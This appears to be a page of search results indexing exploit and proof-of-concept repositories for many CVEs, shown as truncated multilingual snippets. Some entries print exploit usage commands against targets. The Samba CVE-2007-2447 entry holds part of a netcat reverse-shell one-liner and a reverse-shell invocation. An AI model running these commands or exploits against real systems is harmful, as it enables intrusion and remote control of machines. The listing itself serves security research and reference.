270194 matches found
CVE-2014-0094
CVE-2014-0094 검증용. https://piyolog.hatenadiary.jp/entry/20140417/1397750197 를 참고하여, vulhub/java:7u55-jdk tomcat-8.0.5 struts-2.3.16 를 재현. classLoader는 동작하고 있는데, 정작 로그가 퍼센트 인코딩되어 버려서 RCE까지 이어지지 않네 windows 버전도 추가7u191이지만.... 이것도 안 되니, tomcat이 원인인가..?...
CVE-2017-3241-POC
CVE-2017-3241-POC Java RMI デシリアライゼーション脆弱性の PoC この POC を実行するには、JDK 8 を使用する必要があるでしょう。 クライアント側とサーバー側の両方の Message クラスに注目してください。それらは異なります。その違いがこの脆弱性を理解する鍵です。 Oracle が公開した修正は、開発者に Java セキュリティポリシーでデシリアライゼーションのホワイト/ブラックリストを設定させるというものです。言わせてもらえば、ハッキングされるまでそのリストの存在を知っている開発者がどれだけいるでしょうか？...
CVE-2023-50564
CVE-2023-50564 CVE-2023-50564는 Pluck CMS v4.7.18의 RCE 취약점입니다. /inc/modulesinstall.php 컴포넌트의 임의 파일 업로드 취약점을 통해 악성 .zip 파일을 업로드하여 임의 코드를 실행할 수 있습니다. 사용법 익스플로잇을 실행하기 전에 /login.php에서 인증할 비밀번호를 알고 있어야 합니다. 대상에 대해 익스플로잇 실행: root@kitploit: $ python3 exploit.py --target http://greenhorn.htb --password...
DVWA-ZAP-PENTEST
Оценка уязвимостей DVWA с помощью OWASP ZAP Практическая оценка безопасности веб-приложения DVWA Damn Vulnerable Web App , выполненная с использованием OWASP ZAP Zed Attack Proxy 2.17.0. В этом проекте задокументирован полный рабочий процесс: разведка spidering, автоматическое сканирование...
CVE-2026-14669
CVE-2026-14669 - PostgreSQL tochar 시간대 약어 힙 버퍼 오버플로 PostgreSQL tochar 함수는 시간대 형식화를 처리할 때 힙 버퍼 오버플로 취약점이 존재합니다. 공격자는 과도하게 긴 POSIX 시간대 약어를 설정하여 25바이트 고정 버퍼의 경계를 벗어난 쓰기를 트리거할 수 있으며, 정보 유출 및 ROP 체인과 결합하여 원격 코드 실행을 달성할 수 있습니다. 취약점 정보 CVE 번호 : CVE-2026-14669 CVSS 점수 : 8.8 높음 취약점 유형 : 힙 버퍼 오버플로 → 원격 코드 ...
CVE-2021-1675-PrintNightmare-Analysis
취약점 연구: Windows Print Spooler를 통한 로컬 권한 상승 및 RCE PrintNightmare / CVE-2021-1675 이 저장소는 Windows 인쇄 스풀러Print Spooler 서비스의 치명적인 취약점으로, 낮은 권한의 도메인 사용자가 최고 시스템 권한으로 원격 코드를 실행할 수 있게 하는 개념 증명Proof of Concept 악용에 대한 상세한 기술 보고서Write-up와 분석을 포함합니다. 🛑 WARNING & DISCLAIMER: 본 자료는 교육 목적 및 합법적인 보안 감사Pentest 수행...
WSUSResponder
🧰 WSUSResponder 버전 : 1.0.1 저자 : RZA / IT Operations 라이선스 :MIT 🎯 목적 WSUSResponder 모듈은 Windows Server Update Services WSUS 에 영향을 미치는 원격 코드 실행RCE 취약점인 CVE-2025-59287 에 신속하게 대응하기 위한 PowerShell 도구 모음을 제공합니다. 다음 작업을 수행할 수 있습니다: 🔍 Active Directory 환경 또는 대상 서버 목록 스캔 🧩 취약한 WSUS 서버 식별 🛡️ Microsoft가 게시한...
CVE-2025-62593-PoC
CVE-2025-62593 — Ray 원격 코드 실행 인증 없음 CVE-2025-62593 에 대한 개념 증명PoC으로, Ray 분산 AI 컴퓨팅 엔진에서 브라우저 기반 DNS 리바인딩 공격을 통해 악용되는 인증 없는 원격 코드 실행 취약점입니다. 이 취약점은 CISA 알려진 악용 취약점KEV 카탈로그 에 추가되었으며 활발히 악용되고 있습니다. 근본 원인은 Ray 팀이 /api/jobs 및 /api/jobagent/jobs와 같은 중요한 HTTP 엔드포인트에서 인증을 수행하지 않기 로 한 오랜 설계 결정입니다. 그 결과, 인증...
CVE-2024-24919-Check-Point-Remote-Access-VPN
CVE-2024-24919-Check-Point-Remote-Access-VPN CVE-2024-24919 は、未認証の任意ファイル読み取りの脆弱性であり、完全な未認証RCEに他ならないものとして扱えます。攻撃者は、影響を受けるアプライアンス上の機密ファイルをスーパーユーザー アクセスで読み取ることができます。攻撃者は ntds.dit または /etc/password ファイルの内容を取得し、それらを使用してシステムにログインできます。また、Security Gateway...
CVE-2024-4040-CrushFTP-server
CVE-2024-4040-CrushFTP-server CrushFTP는 독점적인 다중 프로토콜, 다중 플랫폼 파일 전송 서버입니다. CVE-2024-4040 - 모든 플랫폼의 CrushFTP 10.7.1 및 11.1.0 이전 모든 버전에서 발생하는 서버 측 템플릿 삽입Server Side Template Injection 취약점으로, 인증되지 않은 원격 공격자가 VFS 샌드박스 외부의 파일 시스템에서 임의의 파일을 읽고, 인증을 우회하여 관리자 액세스 권한을 획득하며, 서버에서 원격 코드 실행을 수행할 수 있습니다. 영향을 받...
CVE-2024-38856-ApacheOfBiz
CVE-2024-38856-ApacheOfBiz Apache OFBiz 는 오픈소스 전사적 자원 관리ERP 시스템입니다. 기업의 많은 비즈니스 프로세스를 통합하고 자동화하는 엔터프라이즈 애플리케이션 제품군을 제공합니다. CVE-2024-38856 은 Apache OFBiz의 사전 인증pre-authentication 취약점으로, 원격 코드 실행RCE으로 이어질 수 있습니다. 영향받는 버전 : 18.12.15 이전 버전 사용 예시: python3 scanner.py https://localhost:8443/ python3...
CVE-2024-4879-ServiceNow
CVE-2024-4879-ServiceNow ServiceNow 는 기업 운영을 위한 디지털 워크플로우를 관리할 수 있도록 도와주는 비즈니스 혁신 플랫폼입니다. CVE-2024-4879 는 인증되지 않은 사용자가 Now Platform 내에서 원격으로 코드를 실행할 수 있게 할 수 있습니다. 이 취약점은 Title Injection, Template Injection Mitigation Bypass 및 Filesystem Filter Bypass라는 세 가지 문제를 연결체이닝하여 ServiceNow 데이터에 접근합니다. 영향을...
Tomcat_PUT_GUI_EXP
TomcatPUTEXPV1.4 Tomcat PUT 메소드를 이용한 임의 파일 쓰기 CVE-2017-12615 그래픽 취약점 활용 도구 취약점 소개 2017년 9월 19일, Apache Tomcat 공식에서 두 가지 고위험 취약점을 확인하고 수정했습니다. 취약점 CVE 번호: CVE-2017-12615 및 CVE-2017-12616. 그 중 원격 코드 실행 취약점 CVE-2017-12615 영향: Apache Tomcat 7.0.0 - 7.0.79 7.0.81에서 수정 불완전 Tomcat이 Windows 호스트에서 실행 중이고...
CVE-2017-9791
CVE-2017-9791 Модуль Metasploit для эксплуатации уязвимости удаленного выполнения кода CVE-2017-9791 в Apache Struts...
CVE-2018-15961
CVE-2018-15961 - Adobe ColdFusion 2018 RCE Данный репозиторий содержит мой эксплойт для уязвимости удаленного выполнения кода RCE в Adobe ColdFusion 2018. Описание эксплойта Эксплойт отправляет POST-запрос, содержащий JSP-обратную оболочку, на...
CVE-2007-2447
CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 사용법 root@kitploit: 대상 10.129.232.46의 445번 포트를 공격하고, 10.10.14.82의 443번 포트로 리버스 셸 전송 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 사용자 지정 rport 및 lport 사용 python3 CVE-2007-2447.py --rhost 10.129.232.46 --rport 4445 --lhost...
CVE-2024-4577-PHP-RCE
CVE-2024-4577-PHP-RCE 프로젝트 소개 및 원리 PHP 기본 환경XAMPP을 활용한 최초의 CVE-2024-4577 PHP-CGI RCE 취약점 EXP. The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF, supports WAF bypass. PHP 기본 환경에서 RCE 구현. 원리: cgi.forceredirect +...
SDT_CW3B1_rce
SDTCW3B1rce CVE-2021-46422 설치 root@kitploit: git clone https://github.com/xanszZZ/SDTCW3B1rce cd SDTCW3B1rce 사용 이 도구는 pocsuite3 프레임워크의 개발 규격에 따라 작성된 poc입니다. 사용 전에 pocsuite3를 다운로드하십시오. 프로젝트 주소 root@kitploit: https://github.com/knownsec/pocsuite3 환경 root@kitploit: Python 3.7+ Works on Linux, Window...